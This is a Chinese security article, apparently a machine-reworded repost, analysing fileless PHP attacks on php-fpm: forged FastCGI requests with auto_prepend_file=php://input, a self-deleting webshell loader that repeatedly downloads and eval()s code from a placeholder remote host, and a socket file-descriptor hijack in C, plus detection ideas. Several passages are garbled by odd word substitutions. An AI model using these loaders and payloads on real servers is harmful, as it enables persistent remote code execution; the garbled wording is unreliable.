邮箱:butian_tougao@qianxin.com
php无文件功能讨论
随着HW和攻防对抗的硬度越来越高,各大厂商对于webshell的测量技术也越来越成熟。 成为新的研究趋势。
对于java的无文件功能,高手们已经投入了很大的热情,但是php的无文件功能还处于艺术阶段php下载远程文件,并没有大规模的使用。 这里对几种已知的php无文件攻击进行分析,希望能起到一点点吸引玉石的作用。
上面写了一个针对php-fpm1.1的fastcgi合约函数
这里提供了一种通过模拟fastcgi合约直接控制php-fpm执行任意php文件的方法,并且整个过程没有文件落地。
php web项目常见的部署方式是nginx反向代理+php-fpm。 一般来说,外部访问的流程如下:
fastcgi合约是服务端中间件与前端进行数据交换的合约,php-fpm可以理解为fastcgi合约解析器。
Nginx等服务器中间件根据fastcgi的规则将用户请求打包并通过TCP发送给php-fpm,php-fpm根据fastcgi契约将TCP流解析为真实数据。
也就是说,当php-fpm可以直接访问(对外开放)或者间接访问(ssrf)时,就会通过构造恶意的Fastcgi合约来攻击php-fpm。
1.2 fastcgi分析流程
举个栗子:当我们访问时,如果web目录是/var/www/html,那么Nginx会根据请求生成如下通配符对:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
将执行 SCRIPT_FILENAME 值指向的 PHP 文件,即 /var/www/html/index.php。
1.3 攻击原理
因此,当php-fpm可访问时(未授权访问或ssrf),我们构建fastcgi合约并将其直接发送到php-fpm,后者将执行“任意文件”。
注意,这里有一个前提:这个任意文件必须是目标服务器上的文件,而不是我们可以控制的文件。
因此,如果执行真实文件,则需要使用auto_prepend_file和auto_append_file。
auto_prepend_file 告诉 PHP 在执行目标文件之前包含 auto_prepend_file 中指定的文件; auto_append_file 告诉 PHP 在执行目标文件后包含 auto_append_file 指向的文件。
如果要实现webshell执行任意命令,还需要将auto_prepend_file设置为php://input。 相当于在执行任何php文件之前包含POST的内容。 因此,只需要把要执行的代码放在Body中就可以执行。
POST请求示例:content是我们要执行的php代码。
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。
这两个环境变量用于设置PHP配置项。 PHP_VALUE可以设置PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。
经过上面的分析,通过配置PHP_VALUE和PHP_ADMIN_VALUE使得auto_prepend_file = php://input和allow_url_include = On,就可以通过构建fastcgi来执行任意命令了。
值得注意的是,这种攻击方式很难绕过disable_functions,因为disable_functions选项在PHP加载时就已经确定了,禁用范围内的函数不会直接加载到PHP上下文中,也无法通过构造直接改变。
1.4 攻击演示
可以参考P大师建立fastcgi客户端的代码(电影电影电影)
1.5 检测思路
检查上述PHP_VALUE和PHP_ADMIN_VALUE中的敏感数组是否被更改。
php-fpm通常会启用多个worker,因此需要循环检查多次,以达到检查每个worker的目的。
2、删除自己的进程留在2.1,写在上面
所谓的“进程驻留”PHP无文件攻击利用了PHP的“分析和执行特性”。 我们可以构建一个“webshell加载器”。 加载器运行后删除自身,然后动态加载并执行远程文件(远程文件直接以字符串形式下载到php进程中执行),所以真正的webshell逻辑执行是直接在显存中进行的。 这种方法也普遍用于包装。
2.2 攻击原理
下面是一些 php 函数:
ignore_user_abort(true);
主要用于后台运行。 该函数的作用是指示服务器在远程客户端关闭连接后是否继续执行下面的脚本。 如果设置为True,则表示如果用户停止脚本运行,仍然不影响脚本的运行。
set_time_limit(0);
主要用于取消脚本运行时间的超时上限。 函数参数是执行时间,如果为零,则永远执行到程序结束。 如果是小于零的数字,则无论程序是否执行,程序都会在设定的秒数到达时结束。 当然,脚本也可能被中间件的默认超时中断,例如php.ini中的max_execution_time或Apache.conf中的php_value max_execution_time。
unlink($_SERVER['SCRIPT_FILENAME']);
主要用于删除自身。 值得一提的是,unlink函数的操作条件比较严格,需要有对目录的写入权限。
这是一个演示:
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
echo "success";
$remote_file = 'http://x.x.x.x/webshell';
while($code = file_get_contents($remote_file)){
@eval($code);
echo "xunhuan";
sleep(5);
};
?>
php文件执行后,将其自身删除。 从中加载 webshell 的逻辑。 这里,为了演示是否继续执行,仍然通过循环将当前时间戳写入到printTime.txt中:
file_put_contents('printTime.txt','I am running '.time());
2.3 检测思路
由于这种webshell仍然在显存中执行,处理请求的工作进程短时间内不会被php-fpm释放,可以在php-fpm status中测量进程信息。
通过网页打开php-fpm状态页面,请参考:
直接获取host端php-fpm的运行状态可以参考:
%E4%B8%8D%E9%80%9A%E8%BF%87-网络服务器-%E8%8E%B7%E5%8F%96-php-fpm-%E8%BF%90%E8%A1 %8C%E7%8A%B6%E6%80%81.html
status中数组的含义可以参考:
通过分析php-fpm status的进程信息数据,可以观察到以下特点:
处理请求的持续时间。 字段:请求持续时间
检查文件系统中是否确实存在可执行文件。 字段:脚本
以下是 Demo 的检查结果:
三种 php-fpm 文件描述符泄漏攻击
本节的思路来自于imbeee大师的文章:
3.1 写在上面
Linux 进程使用文件描述符 (FD) 来管理打开的文件。
在php-fpm运行的php脚本中,使用system()等函数执行外部程序时,由于php-fpm没有使用FD_CLOEXEC来处理FD,所以fork后的子进程会继承php-fpm的所有FD过程。
作为一个反例:
以下是目前在 php-fpm 上工作的所有 FD:
<?php system("sleep 60");>
当 php-fpm 执行该文件时,它会 fork sleep 子进程。 sleep子进程会继承父进程php-fpm的FD,其中有一个关键的FD:php-fpm监听到的9000端口的socket,这里是5号FD。(原文还是说是FD号0,该值可能不固定)
sleep进程号为1771,可见sleep进程继承了5号FD:
有了子进程中继承的socket FD,就可以直接使用accept函数直接接受来自socket的连接。
测试下:
索引.php
<?php
system("/tmp/test");
/tmp/test.c
#include
#include
#include
int main(int argc, char *argv[])
{
int sockfd, newsockfd, clilen;
struct sockaddr_in cli_addr;
clilen = sizeof(cli_addr);
//直接使用5 fd作为socket句柄,原文中是fd号为0
sockfd = 5;
//这里accept会阻塞,接受连接后才会执行system()
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
system("/bin/touch /tmp/lol");
return 0;
}
编译完成后,访问index.php。 发现被屏蔽了。 循环遍历php-fpm的任意文件(循环的意义是找到单个被污染的worker)。 此时,测试进程接收到一个socket连接,执行system(),并创建一个lol文件。
值得注意的是,测试进程的/proc/下的文件的用户是www(php-fpm的运行用户)而不是root(php-fpm的master进程的用户是root),即也就是说,worker继承了子进程的运行权限。
3.2 使用形式
我们的目标是在php中构建一个socket,通过这个socket来操作php-fpm的socket。
要测试它,请在 php 中构建一个套接字:
<?php
sleep(10);
$socket = socket_create( AF_INET, SOCK_STREAM, SOL_TCP );
sleep(10);
原来的worker只有0 1 2 5 4个FD。
php脚本创建新的socket后,多了一个3号FD(其实测试socket被阻塞的地方已经找到了3号FD),也就是说我们把5号FD复制到No 3 通过子进程进行FDphp下载远程文件,通过这个socket就可以实现接管php-fpm的socket。
3.3 攻击演示
完整帮助Demo请参考原文]()。
具体思路如下:
php脚本运行后,先删除自身。 如果想完成webshell功能,可以通过解析fast-cgi请求来请求。 如果其中包含指令,则拦截并执行它们。 否则,会转发到9000端口,供普通worker处理。
php 脚本创建一个套接字并获取 FD 编号。
php脚本调用system()创建一个子进程,该子进程将继承worker的运行权限。
子进程附加到父进程(php-fpmworker),并将复制FD的shellcode注入到父进程中(该shellcode用于调用dup2命令,将php-fpm套接字的FD号复制到php创建的socket的FD号(在我的测试中是从5号复制到3号)。
子进程恢复工作进程的状态后,分离并退出。
整个流程完成后,php代码中的socket就可以操作php-fpm的socket了,只有当实现中包含具体指令时才会执行。
3.4 其他
这种方法似乎实现了对php-fpm的无文件攻击,但它可能有很高的局限性:
另外,子进程向worker进程注入shellcode的操作应该有一个比较高贵的姿势,高手们可以关注一下。
四总结
本文分析了几种已知的 php 无文件攻击形式。 上面的Demo创建完成后,会同步到github。
五个参考文献
结尾
【版权说明】本作品版权归领导大妈所有,授权补天漏洞响应平台独家享有信息网络传播权。 任何第三方未经授权不得转载。
率先
神秘又出众的满天白帽
敲黑板!转发≠学习,班代表给大家划重点了
评论列表
分享、点赞、观看,一键三个链接,yyds。
发表评论